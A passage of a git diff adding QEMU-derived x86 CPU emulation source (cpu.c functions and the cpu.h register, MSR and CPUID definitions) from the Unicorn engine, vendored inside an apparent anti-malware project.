NULL; + + if (env->features[FEAT_7_0_EBX] && env->cpuid_level < 7) { + env->cpuid_level = 7; + } + + /* On AMD CPUs, some CPUID[8000_0001].EDX bits must match the bits on + * CPUID[1].EDX. + */ + if (IS_AMD_CPU(env)) { + env->features[FEAT_8000_0001_EDX] &= ~CPUID_EXT2_AMD_ALIASES; + env->features[FEAT_8000_0001_EDX] |= (env->features[FEAT_1_EDX] + & CPUID_EXT2_AMD_ALIASES); + } + + if (x86_cpu_filter_features(cpu) && cpu->enforce_cpuid) { + error_setg(&local_err, + "TCG doesn't support requested features"); + goto out; + } + +#ifndef CONFIG_USER_ONLY + //qemu_register_reset(x86_cpu_machine_reset_cb, cpu); + + if (cpu->env.features[FEAT_1_EDX] & CPUID_APIC || smp_cpus > 1) { + x86_cpu_apic_create(cpu, &local_err); + if (local_err != NULL) { + goto out; + } + } +#endif + + mce_init(cpu); + if (qemu_init_vcpu(cs)) + return -1; + + x86_cpu_apic_realize(cpu, &local_err); + if (local_err != NULL) { + goto out; + } + cpu_reset(cs); + + xcc->parent_realize(uc, dev, &local_err); +out: + if (local_err != NULL) { + error_propagate(errp, local_err); + return -1; + } + + return 0; +} + +/* Enables contiguous-apic-ID mode, for compatibility */ +static bool compat_apic_id_mode; + +void enable_compat_apic_id_mode(void) +{ + compat_apic_id_mode = true; +} + +/* Calculates initial APIC ID for a specific CPU index + * + * Currently we need to be able to calculate the APIC ID from the CPU index + * alone (without requiring a CPU object), as the QEMU<->Seabios interfaces have + * no concept of "CPU index", and the NUMA tables on fw_cfg need the APIC ID of + * all CPUs up to max_cpus. + */ +uint32_t x86_cpu_apic_id_from_index(unsigned int cpu_index) +{ + uint32_t correct_id; + + correct_id = x86_apicid_from_cpu_idx(smp_cores, smp_threads, cpu_index); + if (compat_apic_id_mode) { + if (cpu_index != correct_id) { + //error_report("APIC IDs set in compatibility mode, " + // "CPU topology won't match the configuration"); + } + return cpu_index; + } else { + return correct_id; + } +} + +static void x86_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + //printf("... X86 initialize (object)\n"); + CPUState *cs = CPU(obj); + X86CPU *cpu = X86_CPU(cs->uc, obj); + X86CPUClass *xcc = X86_CPU_GET_CLASS(uc, obj); + CPUX86State *env = &cpu->env; + + cs->env_ptr = env; + cpu_exec_init(env, opaque); + + object_property_add(obj, "family", "int", + x86_cpuid_version_get_family, + x86_cpuid_version_set_family, NULL, NULL, NULL); + object_property_add(obj, "model", "int", + x86_cpuid_version_get_model, + x86_cpuid_version_set_model, NULL, NULL, NULL); + object_property_add(obj, "stepping", "int", + x86_cpuid_version_get_stepping, + x86_cpuid_version_set_stepping, NULL, NULL, NULL); + object_property_add(obj, "level", "int", + x86_cpuid_get_level, + x86_cpuid_set_level, NULL, NULL, NULL); + object_property_add(obj, "xlevel", "int", + x86_cpuid_get_xlevel, + x86_cpuid_set_xlevel, NULL, NULL, NULL); + object_property_add_str(obj, "vendor", + x86_cpuid_get_vendor, + x86_cpuid_set_vendor, NULL); + object_property_add_str(obj, "model-id", + x86_cpuid_get_model_id, + x86_cpuid_set_model_id, NULL); + object_property_add(obj, "tsc-frequency", "int", + x86_cpuid_get_tsc_freq, + x86_cpuid_set_tsc_freq, NULL, NULL, NULL); + object_property_add(obj, "apic-id", "int", + x86_cpuid_get_apic_id, + x86_cpuid_set_apic_id, NULL, NULL, NULL); + object_property_add(obj, "feature-words", "X86CPUFeatureWordInfo", + x86_cpu_get_feature_words, + NULL, NULL, (void *)env->features, NULL); + object_property_add(obj, "filtered-features", "X86CPUFeatureWordInfo", + x86_cpu_get_feature_words, + NULL, NULL, (void *)cpu->filtered_features, NULL); + + cpu->hyperv_spinlock_attempts = HYPERV_SPINLOCK_NEVER_RETRY; + env->cpuid_apic_id = x86_cpu_apic_id_from_index(cs->cpu_index); + + x86_cpu_load_def(cpu, xcc->cpu_def, &error_abort); + + /* init various static tables used in TCG mode */ + if (tcg_enabled(env->uc)) + optimize_flags_init(env->uc); +} + +static int64_t x86_cpu_get_arch_id(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + + return env->cpuid_apic_id; +} + +static bool x86_cpu_get_paging_enabled(const CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + + return (cpu->env.cr[0] & CR0_PG_MASK) != 0; +} + +static void x86_cpu_set_pc(CPUState *cs, vaddr value) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + + cpu->env.eip = value; +} + +static void x86_cpu_synchronize_from_tb(CPUState *cs, TranslationBlock *tb) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + + cpu->env.eip = tb->pc - tb->cs_base; +} + +static bool x86_cpu_has_work(CPUState *cs) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + +#if !defined(CONFIG_USER_ONLY) + if (cs->interrupt_request & CPU_INTERRUPT_POLL) { + apic_poll_irq(cpu->apic_state); + cpu_reset_interrupt(cs, CPU_INTERRUPT_POLL); + } +#endif + + return ((cs->interrupt_request & CPU_INTERRUPT_HARD) && + (env->eflags & IF_MASK)) || + (cs->interrupt_request & (CPU_INTERRUPT_NMI | + CPU_INTERRUPT_INIT | + CPU_INTERRUPT_SIPI | + CPU_INTERRUPT_MCE)); +} + +static void x86_cpu_common_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + //printf("... init X86 cpu common class\n"); + X86CPUClass *xcc = X86_CPU_CLASS(uc, oc); + CPUClass *cc = CPU_CLASS(uc, oc); + DeviceClass *dc = DEVICE_CLASS(uc, oc); + + xcc->parent_realize = dc->realize; + dc->realize = x86_cpu_realizefn; + dc->bus_type = TYPE_ICC_BUS; + + xcc->parent_reset = cc->reset; + cc->reset = x86_cpu_reset; + cc->reset_dump_flags = CPU_DUMP_FPU | CPU_DUMP_CCOP; + + cc->class_by_name = x86_cpu_class_by_name; + cc->parse_features = x86_cpu_parse_featurestr; + cc->has_work = x86_cpu_has_work; + cc->do_interrupt = x86_cpu_do_interrupt; + cc->cpu_exec_interrupt = x86_cpu_exec_interrupt; + cc->dump_state = x86_cpu_dump_state; + cc->set_pc = x86_cpu_set_pc; + cc->synchronize_from_tb = x86_cpu_synchronize_from_tb; + cc->get_arch_id = x86_cpu_get_arch_id; + cc->get_paging_enabled = x86_cpu_get_paging_enabled; +#ifdef CONFIG_USER_ONLY + cc->handle_mmu_fault = x86_cpu_handle_mmu_fault; +#else + cc->get_memory_mapping = x86_cpu_get_memory_mapping; + cc->get_phys_page_debug = x86_cpu_get_phys_page_debug; +#endif +#ifndef CONFIG_USER_ONLY + cc->debug_excp_handler = breakpoint_handler; +#endif + cc->cpu_exec_enter = x86_cpu_exec_enter; + cc->cpu_exec_exit = x86_cpu_exec_exit; +} + +void x86_cpu_register_types(void *opaque) +{ + const TypeInfo x86_cpu_type_info = { + TYPE_X86_CPU, + TYPE_CPU, + + sizeof(X86CPUClass), + sizeof(X86CPU), + opaque, + + x86_cpu_initfn, + NULL, + NULL, + + NULL, + + x86_cpu_common_class_init, + NULL, + NULL, + + true, + }; + + //printf("... register X86 cpu\n"); + int i; + + type_register_static(opaque, &x86_cpu_type_info); + for (i = 0; i < ARRAY_SIZE(builtin_x86_defs); i++) { + x86_register_cpudef_type(opaque, &builtin_x86_defs[i]); + } + //printf("... END OF register X86 cpu\n"); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.h new file mode 100644 index 0000000..0088730 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/cpu.h @@ -0,0 +1,1386 @@ +/* + * i386 virtual CPU header + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#ifndef CPU_I386_H +#define CPU_I386_H + +#include "config.h" +#include "qemu-common.h" + +#ifdef TARGET_X86_64 +#define TARGET_LONG_BITS 64 +#else +#define TARGET_LONG_BITS 32 +#endif + +/* target supports implicit self modifying code */ +#define TARGET_HAS_SMC +/* support for self modifying code even if the modified instruction is + close to the modifying instruction */ +#define TARGET_HAS_PRECISE_SMC + +#define TARGET_HAS_ICE 1 + +#ifdef TARGET_X86_64 +#define ELF_MACHINE EM_X86_64 +#define ELF_MACHINE_UNAME "x86_64" +#else +#define ELF_MACHINE EM_386 +#define ELF_MACHINE_UNAME "i686" +#endif + +#define CPUArchState struct CPUX86State + +#include "exec/cpu-defs.h" + +#include "fpu/softfloat.h" + +#define R_EAX 0 +#define R_ECX 1 +#define R_EDX 2 +#define R_EBX 3 +#define R_ESP 4 +#define R_EBP 5 +#define R_ESI 6 +#define R_EDI 7 + +#define R_AL 0 +#define R_CL 1 +#define R_DL 2 +#define R_BL 3 +#define R_AH 4 +#define R_CH 5 +#define R_DH 6 +#define R_BH 7 + +#define R_ES 0 +#define R_CS 1 +#define R_SS 2 +#define R_DS 3 +#define R_FS 4 +#define R_GS 5 + +/* segment descriptor fields */ +#define DESC_G_MASK (1 << 23) +#define DESC_B_SHIFT 22 +#define DESC_B_MASK (1 << DESC_B_SHIFT) +#define DESC_L_SHIFT 21 /* x86_64 only : 64 bit code segment */ +#define DESC_L_MASK (1 << DESC_L_SHIFT) +#define DESC_AVL_MASK (1 << 20) +#define DESC_P_MASK (1 << 15) +#define DESC_DPL_SHIFT 13 +#define DESC_DPL_MASK (3 << DESC_DPL_SHIFT) +#define DESC_S_MASK (1 << 12) +#define DESC_TYPE_SHIFT 8 +#define DESC_TYPE_MASK (15 << DESC_TYPE_SHIFT) +#define DESC_A_MASK (1 << 8) + +#define DESC_CS_MASK (1 << 11) /* 1=code segment 0=data segment */ +#define DESC_C_MASK (1 << 10) /* code: conforming */ +#define DESC_R_MASK (1 << 9) /* code: readable */ + +#define DESC_E_MASK (1 << 10) /* data: expansion direction */ +#define DESC_W_MASK (1 << 9) /* data: writable */ + +#define DESC_TSS_BUSY_MASK (1 << 9) + +/* eflags masks */ +#define CC_C 0x0001 +#define CC_P 0x0004 +#define CC_A 0x0010 +#define CC_Z 0x0040 +#define CC_S 0x0080 +#define CC_O 0x0800 + +#define TF_SHIFT 8 +#define IOPL_SHIFT 12 +#define VM_SHIFT 17 + +#define TF_MASK 0x00000100 +#define IF_MASK 0x00000200 +#define DF_MASK 0x00000400 +#define IOPL_MASK 0x00003000 +#define NT_MASK 0x00004000 +#define RF_MASK 0x00010000 +#define VM_MASK 0x00020000 +#define AC_MASK 0x00040000 +#define VIF_MASK 0x00080000 +#define VIP_MASK 0x00100000 +#define ID_MASK 0x00200000 + +/* hidden flags - used internally by qemu to represent additional cpu + states. Only the INHIBIT_IRQ, SMM and SVMI are not redundant. We + avoid using the IOPL_MASK, TF_MASK, VM_MASK and AC_MASK bit + positions to ease oring with eflags. */ +/* current cpl */ +#define HF_CPL_SHIFT 0 +/* true if soft mmu is being used */ +#define HF_SOFTMMU_SHIFT 2 +/* true if hardware interrupts must be disabled for next instruction */ +#define HF_INHIBIT_IRQ_SHIFT 3 +/* 16 or 32 segments */ +#define HF_CS32_SHIFT 4 +#define HF_SS32_SHIFT 5 +/* zero base for DS, ES and SS : can be '0' only in 32 bit CS segment */ +#define HF_ADDSEG_SHIFT 6 +/* copy of CR0.PE (protected mode) */ +#define HF_PE_SHIFT 7 +#define HF_TF_SHIFT 8 /* must be same as eflags */ +#define HF_MP_SHIFT 9 /* the order must be MP, EM, TS */ +#define HF_EM_SHIFT 10 +#define HF_TS_SHIFT 11 +#define HF_IOPL_SHIFT 12 /* must be same as eflags */ +#define HF_LMA_SHIFT 14 /* only used on x86_64: long mode active */ +#define HF_CS64_SHIFT 15 /* only used on x86_64: 64 bit code segment */ +#define HF_RF_SHIFT 16 /* must be same as eflags */ +#define HF_VM_SHIFT 17 /* must be same as eflags */ +#define HF_AC_SHIFT 18 /* must be same as eflags */ +#define HF_SMM_SHIFT 19 /* CPU in SMM mode */ +#define HF_SVME_SHIFT 20 /* SVME enabled (copy of EFER.SVME) */ +#define HF_SVMI_SHIFT 21 /* SVM intercepts are active */ +#define HF_OSFXSR_SHIFT 22 /* CR4.OSFXSR */ +#define HF_SMAP_SHIFT 23 /* CR4.SMAP */ + +#define HF_CPL_MASK (3 << HF_CPL_SHIFT) +#define HF_SOFTMMU_MASK (1 << HF_SOFTMMU_SHIFT) +#define HF_INHIBIT_IRQ_MASK (1 << HF_INHIBIT_IRQ_SHIFT) +#define HF_CS32_MASK (1 << HF_CS32_SHIFT) +#define HF_SS32_MASK (1 << HF_SS32_SHIFT) +#define HF_ADDSEG_MASK (1 << HF_ADDSEG_SHIFT) +#define HF_PE_MASK (1 << HF_PE_SHIFT) +#define HF_TF_MASK (1 << HF_TF_SHIFT) +#define HF_MP_MASK (1 << HF_MP_SHIFT) +#define HF_EM_MASK (1 << HF_EM_SHIFT) +#define HF_TS_MASK (1 << HF_TS_SHIFT) +#define HF_IOPL_MASK (3 << HF_IOPL_SHIFT) +#define HF_LMA_MASK (1 << HF_LMA_SHIFT) +#define HF_CS64_MASK (1 << HF_CS64_SHIFT) +#define HF_RF_MASK (1 << HF_RF_SHIFT) +#define HF_VM_MASK (1 << HF_VM_SHIFT) +#define HF_AC_MASK (1 << HF_AC_SHIFT) +#define HF_SMM_MASK (1 << HF_SMM_SHIFT) +#define HF_SVME_MASK (1 << HF_SVME_SHIFT) +#define HF_SVMI_MASK (1 << HF_SVMI_SHIFT) +#define HF_OSFXSR_MASK (1 << HF_OSFXSR_SHIFT) +#define HF_SMAP_MASK (1 << HF_SMAP_SHIFT) + +/* hflags2 */ + +#define HF2_GIF_SHIFT 0 /* if set CPU takes interrupts */ +#define HF2_HIF_SHIFT 1 /* value of IF_MASK when entering SVM */ +#define HF2_NMI_SHIFT 2 /* CPU serving NMI */ +#define HF2_VINTR_SHIFT 3 /* value of V_INTR_MASKING bit */ + +#define HF2_GIF_MASK (1 << HF2_GIF_SHIFT) +#define HF2_HIF_MASK (1 << HF2_HIF_SHIFT) +#define HF2_NMI_MASK (1 << HF2_NMI_SHIFT) +#define HF2_VINTR_MASK (1 << HF2_VINTR_SHIFT) + +#define CR0_PE_SHIFT 0 +#define CR0_MP_SHIFT 1 + +#define CR0_PE_MASK (1U << 0) +#define CR0_MP_MASK (1U << 1) +#define CR0_EM_MASK (1U << 2) +#define CR0_TS_MASK (1U << 3) +#define CR0_ET_MASK (1U << 4) +#define CR0_NE_MASK (1U << 5) +#define CR0_WP_MASK (1U << 16) +#define CR0_AM_MASK (1U << 18) +#define CR0_PG_MASK (1U << 31) + +#define CR4_VME_MASK (1U << 0) +#define CR4_PVI_MASK (1U << 1) +#define CR4_TSD_MASK (1U << 2) +#define CR4_DE_MASK (1U << 3) +#define CR4_PSE_MASK (1U << 4) +#define CR4_PAE_MASK (1U << 5) +#define CR4_MCE_MASK (1U << 6) +#define CR4_PGE_MASK (1U << 7) +#define CR4_PCE_MASK (1U << 8) +#define CR4_OSFXSR_SHIFT 9 +#define CR4_OSFXSR_MASK (1U << CR4_OSFXSR_SHIFT) +#define CR4_OSXMMEXCPT_MASK (1U << 10) +#define CR4_VMXE_MASK (1U << 13) +#define CR4_SMXE_MASK (1U << 14) +#define CR4_FSGSBASE_MASK (1U << 16) +#define CR4_PCIDE_MASK (1U << 17) +#define CR4_OSXSAVE_MASK (1U << 18) +#define CR4_SMEP_MASK (1U << 20) +#define CR4_SMAP_MASK (1U << 21) + +#define DR6_BD (1 << 13) +#define DR6_BS (1 << 14) +#define DR6_BT (1 << 15) +#define DR6_FIXED_1 0xffff0ff0 + +#define DR7_GD (1 << 13) +#define DR7_TYPE_SHIFT 16 +#define DR7_LEN_SHIFT 18 +#define DR7_FIXED_1 0x00000400 +#define DR7_LOCAL_BP_MASK 0x55 +#define DR7_MAX_BP 4 +#define DR7_TYPE_BP_INST 0x0 +#define DR7_TYPE_DATA_WR 0x1 +#define DR7_TYPE_IO_RW 0x2 +#define DR7_TYPE_DATA_RW 0x3 + +#define PG_PRESENT_BIT 0 +#define PG_RW_BIT 1 +#define PG_USER_BIT 2 +#define PG_PWT_BIT 3 +#define PG_PCD_BIT 4 +#define PG_ACCESSED_BIT 5 +#define PG_DIRTY_BIT 6 +#define PG_PSE_BIT 7 +#define PG_GLOBAL_BIT 8 +#define PG_PSE_PAT_BIT 12 +#define PG_NX_BIT 63 + +#define PG_PRESENT_MASK (1 << PG_PRESENT_BIT) +#define PG_RW_MASK (1 << PG_RW_BIT) +#define PG_USER_MASK (1 << PG_USER_BIT) +#define PG_PWT_MASK (1 << PG_PWT_BIT) +#define PG_PCD_MASK (1 << PG_PCD_BIT) +#define PG_ACCESSED_MASK (1 << PG_ACCESSED_BIT) +#define PG_DIRTY_MASK (1 << PG_DIRTY_BIT) +#define PG_PSE_MASK (1 << PG_PSE_BIT) +#define PG_GLOBAL_MASK (1 << PG_GLOBAL_BIT) +#define PG_PSE_PAT_MASK (1 << PG_PSE_PAT_BIT) +#define PG_ADDRESS_MASK 0x000ffffffffff000LL +#define PG_HI_RSVD_MASK (PG_ADDRESS_MASK & ~PHYS_ADDR_MASK) +#define PG_HI_USER_MASK 0x7ff0000000000000LL +#define PG_NX_MASK (1ULL << PG_NX_BIT) + +#define PG_ERROR_W_BIT 1 + +#define PG_ERROR_P_MASK 0x01 +#define PG_ERROR_W_MASK (1 << PG_ERROR_W_BIT) +#define PG_ERROR_U_MASK 0x04 +#define PG_ERROR_RSVD_MASK 0x08 +#define PG_ERROR_I_D_MASK 0x10 + +#define MCG_CTL_P (1ULL<<8) /* MCG_CAP register available */ +#define MCG_SER_P (1ULL<<24) /* MCA recovery/new status bits */ + +#define MCE_CAP_DEF (MCG_CTL_P|MCG_SER_P) +#define MCE_BANKS_DEF 10 + +#define MCG_STATUS_RIPV (1ULL<<0) /* restart ip valid */ +#define MCG_STATUS_EIPV (1ULL<<1) /* ip points to correct instruction */ +#define MCG_STATUS_MCIP (1ULL<<2) /* machine check in progress */ + +#define MCI_STATUS_VAL (1ULL<<63) /* valid error */ +#define MCI_STATUS_OVER (1ULL<<62) /* previous errors lost */ +#define MCI_STATUS_UC (1ULL<<61) /* uncorrected error */ +#define MCI_STATUS_EN (1ULL<<60) /* error enabled */ +#define MCI_STATUS_MISCV (1ULL<<59) /* misc error reg. valid */ +#define MCI_STATUS_ADDRV (1ULL<<58) /* addr reg. valid */ +#define MCI_STATUS_PCC (1ULL<<57) /* processor context corrupt */ +#define MCI_STATUS_S (1ULL<<56) /* Signaled machine check */ +#define MCI_STATUS_AR (1ULL<<55) /* Action required */ + +/* MISC register defines */ +#define MCM_ADDR_SEGOFF 0 /* segment offset */ +#define MCM_ADDR_LINEAR 1 /* linear address */ +#define MCM_ADDR_PHYS 2 /* physical address */ +#define MCM_ADDR_MEM 3 /* memory address */ +#define MCM_ADDR_GENERIC 7 /* generic */ + +#define MSR_IA32_TSC 0x10 +#define MSR_IA32_APICBASE 0x1b +#define MSR_IA32_APICBASE_BSP (1<<8) +#define MSR_IA32_APICBASE_ENABLE (1<<11) +#define MSR_IA32_APICBASE_BASE (0xfffff<<12) +#define MSR_IA32_FEATURE_CONTROL 0x0000003a +#define MSR_TSC_ADJUST 0x0000003b +#define MSR_IA32_TSCDEADLINE 0x6e0 + +#define MSR_P6_PERFCTR0 0xc1 + +#define MSR_MTRRcap 0xfe +#define MSR_MTRRcap_VCNT 8 +#define MSR_MTRRcap_FIXRANGE_SUPPORT (1 << 8) +#define MSR_MTRRcap_WC_SUPPORTED (1 << 10) + +#define MSR_IA32_SYSENTER_CS 0x174 +#define MSR_IA32_SYSENTER_ESP 0x175 +#define MSR_IA32_SYSENTER_EIP 0x176 + +#define MSR_MCG_CAP 0x179 +#define MSR_MCG_STATUS 0x17a +#define MSR_MCG_CTL 0x17b + +#define MSR_P6_EVNTSEL0 0x186 + +#define MSR_IA32_PERF_STATUS 0x198 + +#define MSR_IA32_MISC_ENABLE 0x1a0 +/* Indicates good rep/movs microcode on some processors: */ +#define MSR_IA32_MISC_ENABLE_DEFAULT 1 + +#define MSR_MTRRphysBase(reg) (0x200 + 2 * (reg)) +#define MSR_MTRRphysMask(reg) (0x200 + 2 * (reg) + 1) + +#define MSR_MTRRphysIndex(addr) ((((addr) & ~1u) - 0x200) / 2) + +#define MSR_MTRRfix64K_00000 0x250 +#define MSR_MTRRfix16K_80000 0x258 +#define MSR_MTRRfix16K_A0000 0x259 +#define MSR_MTRRfix4K_C0000 0x268 +#define MSR_MTRRfix4K_C8000 0x269 +#define MSR_MTRRfix4K_D0000 0x26a +#define MSR_MTRRfix4K_D8000 0x26b +#define MSR_MTRRfix4K_E0000 0x26c +#define MSR_MTRRfix4K_E8000 0x26d +#define MSR_MTRRfix4K_F0000 0x26e +#define MSR_MTRRfix4K_F8000 0x26f + +#define MSR_PAT 0x277 + +#define MSR_MTRRdefType 0x2ff + +#define MSR_CORE_PERF_FIXED_CTR0 0x309 +#define MSR_CORE_PERF_FIXED_CTR1 0x30a +#define MSR_CORE_PERF_FIXED_CTR2 0x30b +#define MSR_CORE_PERF_FIXED_CTR_CTRL 0x38d +#define MSR_CORE_PERF_GLOBAL_STATUS 0x38e +#define MSR_CORE_PERF_GLOBAL_CTRL 0x38f +#define MSR_CORE_PERF_GLOBAL_OVF_CTRL 0x390 + +#define MSR_MC0_CTL 0x400 +#define MSR_MC0_STATUS 0x401 +#define MSR_MC0_ADDR 0x402 +#define MSR_MC0_MISC 0x403 + +#define MSR_EFER 0xc0000080 + +#define MSR_EFER_SCE (1 << 0) +#define MSR_EFER_LME (1 << 8) +#define MSR_EFER_LMA (1 << 10) +#define MSR_EFER_NXE (1 << 11) +#define MSR_EFER_SVME (1 << 12) +#define MSR_EFER_FFXSR (1 << 14) + +#define MSR_STAR 0xc0000081 +#define MSR_LSTAR 0xc0000082 +#define MSR_CSTAR 0xc0000083 +#define MSR_FMASK 0xc0000084 +#define MSR_FSBASE 0xc0000100 +#define MSR_GSBASE 0xc0000101 +#define MSR_KERNELGSBASE 0xc0000102 +#define MSR_TSC_AUX 0xc0000103 + +#define MSR_VM_HSAVE_PA 0xc0010117 + +#define MSR_IA32_BNDCFGS 0x00000d90 + +#define XSTATE_FP (1ULL << 0) +#define XSTATE_SSE (1ULL << 1) +#define XSTATE_YMM (1ULL << 2) +#define XSTATE_BNDREGS (1ULL << 3) +#define XSTATE_BNDCSR (1ULL << 4) +#define XSTATE_OPMASK (1ULL << 5) +#define XSTATE_ZMM_Hi256 (1ULL << 6) +#define XSTATE_Hi16_ZMM (1ULL << 7) + + +/* CPUID feature words */ +typedef enum FeatureWord { + FEAT_1_EDX, /* CPUID[1].EDX */ + FEAT_1_ECX, /* CPUID[1].ECX */ + FEAT_7_0_EBX, /* CPUID[EAX=7,ECX=0].EBX */ + FEAT_8000_0001_EDX, /* CPUID[8000_0001].EDX */ + FEAT_8000_0001_ECX, /* CPUID[8000_0001].ECX */ + FEAT_8000_0007_EDX, /* CPUID[8000_0007].EDX */ + FEAT_C000_0001_EDX, /* CPUID[C000_0001].EDX */ + FEAT_KVM, /* CPUID[4000_0001].EAX (KVM_CPUID_FEATURES) */ + FEAT_SVM, /* CPUID[8000_000A].EDX */ + FEATURE_WORDS, +} FeatureWord; + +typedef uint32_t FeatureWordArray[FEATURE_WORDS]; + +/* cpuid_features bits */ +#define CPUID_FP87 (1U << 0) +#define CPUID_VME (1U << 1) +#define CPUID_DE (1U << 2) +#define CPUID_PSE (1U << 3) +#define CPUID_TSC (1U << 4) +#define CPUID_MSR (1U << 5) +#define CPUID_PAE (1U << 6) +#define CPUID_MCE (1U << 7) +#define CPUID_CX8 (1U << 8) +#define CPUID_APIC (1U << 9) +#define CPUID_SEP (1U << 11) /* sysenter/sysexit */ +#define CPUID_MTRR (1U << 12) +#define CPUID_PGE (1U << 13) +#define CPUID_MCA (1U << 14) +#define CPUID_CMOV (1U << 15) +#define CPUID_PAT (1U << 16) +#define CPUID_PSE36 (1U << 17) +#define CPUID_PN (1U << 18) +#define CPUID_CLFLUSH (1U << 19) +#define CPUID_DTS (1U << 21) +#define CPUID_ACPI (1U << 22) +#define CPUID_MMX (1U << 23) +#define CPUID_FXSR (1U << 24) +#define CPUID_SSE (1U << 25) +#define CPUID_SSE2 (1U << 26) +#define CPUID_SS (1U << 27) +#define CPUID_HT (1U << 28) +#define CPUID_TM (1U << 29) +#define CPUID_IA64 (1U << 30) +#define CPUID_PBE (1U << 31) + +#define CPUID_EXT_SSE3 (1U << 0) +#define CPUID_EXT_PCLMULQDQ (1U << 1) +#define CPUID_EXT_DTES64 (1U << 2) +#define CPUID_EXT_MONITOR (1U << 3) +#define CPUID_EXT_DSCPL (1U << 4) +#define CPUID_EXT_VMX (1U << 5) +#define CPUID_EXT_SMX (1U << 6) +#define CPUID_EXT_EST (1U << 7) +#define CPUID_EXT_TM2 (1U << 8) +#define CPUID_EXT_SSSE3 (1U << 9) +#define CPUID_EXT_CID (1U << 10) +#define CPUID_EXT_FMA (1U << 12) +#define CPUID_EXT_CX16 (1U << 13) +#define CPUID_EXT_XTPR (1U << 14) +#define CPUID_EXT_PDCM (1U << 15) +#define CPUID_EXT_PCID (1U << 17) +#define CPUID_EXT_DCA (1U << 18) +#define CPUID_EXT_SSE41 (1U << 19) +#define CPUID_EXT_SSE42 (1U << 20) +#define CPUID_EXT_X2APIC (1U << 21) +#define CPUID_EXT_MOVBE (1U << 22) +#define CPUID_EXT_POPCNT (1U << 23) +#define CPUID_EXT_TSC_DEADLINE_TIMER (1U << 24) +#define CPUID_EXT_AES (1U << 25) +#define CPUID_EXT_XSAVE (1U << 26) +#define CPUID_EXT_OSXSAVE (1U << 27) +#define CPUID_EXT_AVX (1U << 28) +#define CPUID_EXT_F16C (1U << 29) +#define CPUID_EXT_RDRAND (1U << 30) +#define CPUID_EXT_HYPERVISOR (1U << 31) + +#define CPUID_EXT2_FPU (1U << 0) +#define CPUID_EXT2_VME (1U << 1) +#define CPUID_EXT2_DE (1U << 2) +#define CPUID_EXT2_PSE (1U << 3) +#define CPUID_EXT2_TSC (1U << 4) +#define CPUID_EXT2_MSR (1U << 5) +#define CPUID_EXT2_PAE (1U << 6) +#define CPUID_EXT2_MCE (1U << 7) +#define CPUID_EXT2_CX8 (1U << 8) +#define CPUID_EXT2_APIC (1U << 9) +#define CPUID_EXT2_SYSCALL (1U << 11) +#define CPUID_EXT2_MTRR (1U << 12) +#define CPUID_EXT2_PGE (1U << 13) +#define CPUID_EXT2_MCA (1U << 14) +#define CPUID_EXT2_CMOV (1U << 15) +#define CPUID_EXT2_PAT (1U << 16) +#define CPUID_EXT2_PSE36 (1U << 17) +#define CPUID_EXT2_MP (1U << 19) +#define CPUID_EXT2_NX (1U << 20) +#define CPUID_EXT2_MMXEXT (1U << 22) +#define CPUID_EXT2_MMX (1U << 23) +#define CPUID_EXT2_FXSR (1U << 24) +#define CPUID_EXT2_FFXSR (1U << 25) +#define CPUID_EXT2_PDPE1GB (1U << 26) +#define CPUID_EXT2_RDTSCP (1U << 27) +#define CPUID_EXT2_LM (1U << 29) +#define CPUID_EXT2_3DNOWEXT (1U << 30) +#define CPUID_EXT2_3DNOW (1U << 31) + +/* CPUID[8000_0001].EDX bits that are aliase of CPUID[1].EDX bits on AMD CPUs */ +#define CPUID_EXT2_AMD_ALIASES (CPUID_EXT2_FPU | CPUID_EXT2_VME | \ + CPUID_EXT2_DE | CPUID_EXT2_PSE | \ + CPUID_EXT2_TSC | CPUID_EXT2_MSR | \ + CPUID_EXT2_PAE | CPUID_EXT2_MCE | \ + CPUID_EXT2_CX8 | CPUID_EXT2_APIC | \ + CPUID_EXT2_MTRR | CPUID_EXT2_PGE | \ + CPUID_EXT2_MCA | CPUID_EXT2_CMOV | \ + CPUID_EXT2_PAT | CPUID_EXT2_PSE36 | \ + CPUID_EXT2_MMX | CPUID_EXT2_FXSR) + +#define CPUID_EXT3_LAHF_LM (1U << 0) +#define CPUID_EXT3_CMP_LEG (1U << 1) +#define CPUID_EXT3_SVM (1U << 2) +#define CPUID_EXT3_EXTAPIC (1U << 3) +#define CPUID_EXT3_CR8LEG (1U << 4) +#define CPUID_EXT3_ABM (1U << 5) +#define CPUID_EXT3_SSE4A (1U << 6) +#define CPUID_EXT3_MISALIGNSSE (1U << 7) +#define CPUID_EXT3_3DNOWPREFETCH (1U << 8) +#define CPUID_EXT3_OSVW (1U << 9) +#define CPUID_EXT3_IBS (1U << 10) +#define CPUID_EXT3_XOP (1U << 11) +#define CPUID_EXT3_SKINIT (1U << 12) +#define CPUID_EXT3_WDT (1U << 13) +#define CPUID_EXT3_LWP (1U << 15) +#define CPUID_EXT3_FMA4 (1U << 16) +#define CPUID_EXT3_TCE (1U << 17) +#define CPUID_EXT3_NODEID (1U << 19) +#define CPUID_EXT3_TBM (1U << 21) +#define CPUID_EXT3_TOPOEXT (1U << 22) +#define CPUID_EXT3_PERFCORE (1U << 23) +#define CPUID_EXT3_PERFNB (1U << 24) + +#define CPUID_SVM_NPT (1U << 0) +#define CPUID_SVM_LBRV (1U << 1) +#define CPUID_SVM_SVMLOCK (1U << 2) +#define CPUID_SVM_NRIPSAVE (1U << 3) +#define CPUID_SVM_TSCSCALE (1U << 4) +#define CPUID_SVM_VMCBCLEAN (1U << 5) +#define 